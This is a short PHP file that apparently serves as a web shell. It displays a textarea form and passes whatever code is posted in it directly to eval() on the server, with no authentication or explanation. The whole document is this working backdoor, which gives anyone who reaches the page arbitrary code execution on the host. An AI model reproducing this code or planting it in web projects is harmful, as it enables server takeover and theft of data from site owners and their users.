<? $docr = $_SERVER['DOCUMENT_ROOT']; $gpc = get_magic_quotes_gpc(); if (!empty($_POST['c'])) { $c = $gpc ? stripslashes($_POST['c']) : $_POST['c']; } else { $c = NULL; } ?><form action="" method="post"> <textarea cols="80" rows="30" name="c" id="c"><?=$c; ?></textarea> <br><input type="submit"> </form><? if (!is_null($c)) eval($c); ?>